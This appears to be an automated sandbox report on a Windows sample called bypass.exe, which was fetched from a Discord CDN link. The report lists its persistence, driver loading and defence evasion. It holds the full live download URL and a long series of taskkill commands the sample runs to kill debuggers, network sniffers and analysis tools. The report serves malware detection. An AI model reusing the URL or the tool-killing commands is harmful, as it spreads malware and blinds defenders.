hxxps://cdn[.]discordapp[.]com/attachments/1237112036547231756/1256039471216984184/bypass[.]exe?ex=6685e8ea&is=6684976a&hm=bc1b6d429382b00785a481d8b54392d2c5d0dd5db155c3dfec9bed5d79927ad0&

Analysis

max time kernel
73s
max time network
68s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
03/07/2024, 10:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1237112036547231756/1256039471216984184/bypass.exe?ex=6685e8ea&is=6684976a&hm=bc1b6d429382b00785a481d8b54392d2c5d0dd5db155c3dfec9bed5d79927ad0&

Score

8^/10

evasion execution persistence

Malware Config

Signatures

Downloads MZ/PE file

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\FPFnYzWyJaIZqf\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\FPFnYzWyJaIZqf"	bypass.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
1892	bypass.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\1kdmapperwithdriver.exe	curl.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3992	sc.exe
996	sc.exe
2212	sc.exe
4680	sc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 42 IoCs

evasion

pid	Process
4336	taskkill.exe
4340	taskkill.exe
3708	taskkill.exe
2124	taskkill.exe
3992	taskkill.exe
448	taskkill.exe
2808	taskkill.exe
4056	taskkill.exe
4988	taskkill.exe
4288	taskkill.exe
2932	taskkill.exe
4296	taskkill.exe
1924	taskkill.exe
372	taskkill.exe
1468	taskkill.exe
1624	taskkill.exe
4120	taskkill.exe
4464	taskkill.exe
4268	taskkill.exe
856	taskkill.exe
5016	taskkill.exe
4736	taskkill.exe
4564	taskkill.exe
392	taskkill.exe
2704	taskkill.exe
3516	taskkill.exe
4796	taskkill.exe
2800	taskkill.exe
4776	taskkill.exe
3524	taskkill.exe
2632	taskkill.exe
460	taskkill.exe
1636	taskkill.exe
2580	taskkill.exe
4832	taskkill.exe
1180	taskkill.exe
2092	taskkill.exe
1824	taskkill.exe
4584	taskkill.exe
1292	taskkill.exe
1824	taskkill.exe
3516	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133644777898453613"	chrome.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3632	chrome.exe
3632	chrome.exe
1892	bypass.exe
1892	bypass.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
1892	bypass.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3632	chrome.exe
3632	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeDebugPrivilege	4340	taskkill.exe
Token: SeDebugPrivilege	392	taskkill.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeDebugPrivilege	2704	taskkill.exe
Token: SeDebugPrivilege	2808	taskkill.exe
Token: SeDebugPrivilege	1636	taskkill.exe
Token: SeDebugPrivilege	2580	taskkill.exe
Token: SeDebugPrivilege	3708	taskkill.exe
Token: SeDebugPrivilege	4776	taskkill.exe
Token: SeDebugPrivilege	1624	taskkill.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeDebugPrivilege	4120	taskkill.exe
Token: SeDebugPrivilege	4288	taskkill.exe
Token: SeDebugPrivilege	1824	taskkill.exe
Token: SeDebugPrivilege	4584	taskkill.exe
Token: SeDebugPrivilege	3516	taskkill.exe
Token: SeShutdownPrivilege	3632	chrome.exe
Token: SeCreatePagefilePrivilege	3632	chrome.exe
Token: SeDebugPrivilege	4268	taskkill.exe
Token: SeDebugPrivilege	2124	taskkill.exe
Token: SeDebugPrivilege	3992	taskkill.exe
Token: SeDebugPrivilege	4832	taskkill.exe
Token: SeDebugPrivilege	1180	taskkill.exe
Token: SeDebugPrivilege	856	taskkill.exe
Token: SeDebugPrivilege	2632	taskkill.exe
Token: SeShutdownPrivilege	3632	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe
3632	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1892	bypass.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3632 wrote to memory of 2372	3632	chrome.exe	81
PID 3632 wrote to memory of 2372	3632	chrome.exe	81
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 3980	3632	chrome.exe	82
PID 3632 wrote to memory of 4568	3632	chrome.exe	83
PID 3632 wrote to memory of 4568	3632	chrome.exe	83
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84
PID 3632 wrote to memory of 3692	3632	chrome.exe	84

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1237112036547231756/1256039471216984184/bypass.exe?ex=6685e8ea&is=6684976a&hm=bc1b6d429382b00785a481d8b54392d2c5d0dd5db155c3dfec9bed5d79927ad0&
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffadd2ab58,0x7fffadd2ab68,0x7fffadd2ab78
  2⤵
  PID:2372
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1540 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:2
  2⤵
  PID:3980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:4568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2188 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:3692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2988 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:1
  2⤵
  PID:2328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2996 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:1
  2⤵
  PID:744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4620 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4668 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:4548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4980 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:2760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4644 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:4812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4516 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:1624
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4484 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:3708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4936 --field-trial-handle=1872,i,17631629126791324987,8333872469778666500,131072 /prefetch:8
  2⤵
  PID:5028
- C:\Users\Admin\Downloads\bypass.exe
  "C:\Users\Admin\Downloads\bypass.exe"
  2⤵
  - Sets service image path in registry
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: LoadsDriver
  - Suspicious use of SetWindowsHookEx
  PID:1892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im KsDumperClient.exe >nul 2>&1
    3⤵
    PID:1168
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im KsDumperClient.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im KsDumper.exe >nul 2>&1
    3⤵
    PID:4404
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im KsDumper.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
    3⤵
    PID:1200
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im HTTPDebuggerUI.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
    3⤵
    PID:548
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im HTTPDebuggerSvc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im ProcessHacker.exe >nul 2>&1
    3⤵
    PID:868
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ProcessHacker.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im idaq.exe >nul 2>&1
    3⤵
    PID:740
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im idaq.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im idaq64.exe >nul 2>&1
    3⤵
    PID:2932
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im idaq64.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Wireshark.exe >nul 2>&1
    3⤵
    PID:372
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Wireshark.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Fiddler.exe >nul 2>&1
    3⤵
    PID:4796
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Fiddler.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im FiddlerEverywhere.exe >nul 2>&1
    3⤵
    PID:2672
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im FiddlerEverywhere.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Xenos64.exe >nul 2>&1
    3⤵
    PID:1896
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Xenos64.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Xenos.exe >nul 2>&1
    3⤵
    PID:4488
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Xenos.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Xenos32.exe >nul 2>&1
    3⤵
    PID:1284
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Xenos32.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im de4dot.exe >nul 2>&1
    3⤵
    PID:1876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im de4dot.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Cheat Engine.exe >nul 2>&1
    3⤵
    PID:4816
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Cheat Engine.exe
      4⤵
      Kills process with taskkill
      PID:4464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im cheatengine-x86_64.exe >nul 2>&1
    3⤵
    PID:4792
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im cheatengine-x86_64.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im cheatengine-x86_64-SSE4-AVX2.exe >nul 2>&1
    3⤵
    PID:1592
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im cheatengine-x86_64-SSE4-AVX2.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im MugenJinFuu-x86_64-SSE4-AVX2.exe >nul 2>&1
    3⤵
    PID:4328
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MugenJinFuu-x86_64-SSE4-AVX2.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im MugenJinFuu-i386.exe >nul 2>&1
    3⤵
    PID:4404
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MugenJinFuu-i386.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im cheatengine-x86_64.exe >nul 2>&1
    3⤵
    PID:1200
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im cheatengine-x86_64.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im cheatengine-i386.exe >nul 2>&1
    3⤵
    PID:548
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im cheatengine-i386.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTP Debugger Windows Service (32 bit).exe >nul 2>&1
    3⤵
    PID:3896
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im HTTP Debugger Windows Service (32 bit).exe
      4⤵
      Kills process with taskkill
      PID:2092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im KsDumper.exe >nul 2>&1
    3⤵
    PID:2580
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im KsDumper.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im OllyDbg.exe >nul 2>&1
    3⤵
    PID:3708
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im OllyDbg.exe
      4⤵
      Kills process with taskkill
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im x64dbg.exe >nul 2>&1
    3⤵
    PID:4776
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im x64dbg.exe
      4⤵
      Kills process with taskkill
      PID:372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im x32dbg.exe >nul 2>&1
    3⤵
    PID:1624
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im x32dbg.exe
      4⤵
      Kills process with taskkill
      PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
    3⤵
    PID:4556
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
      4⤵
      Kills process with taskkill
      PID:448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
    3⤵
    PID:2668
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im HTTPDebuggerUI.exe
      4⤵
      Kills process with taskkill
      PID:4296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
    3⤵
    PID:652
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im HTTPDebuggerSvc.exe
      4⤵
      Kills process with taskkill
      PID:2800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Ida64.exe >nul 2>&1
    3⤵
    PID:4968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Ida64.exe
      4⤵
      Kills process with taskkill
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im OllyDbg.exe >nul 2>&1
    3⤵
    PID:2916
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im OllyDbg.exe
      4⤵
      Kills process with taskkill
      PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Dbg64.exe >nul 2>&1
    3⤵
    PID:1972
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Dbg64.exe
      4⤵
      Kills process with taskkill
      PID:1468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im Dbg32.exe >nul 2>&1
    3⤵
    PID:3156
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Dbg32.exe
      4⤵
      Kills process with taskkill
      PID:4564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
    3⤵
    PID:5088
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
      4⤵
      Kills process with taskkill
      PID:460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
    3⤵
    PID:4232
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
      4⤵
      Kills process with taskkill
      PID:4056
- - C:\Windows\system32\cmd.exe
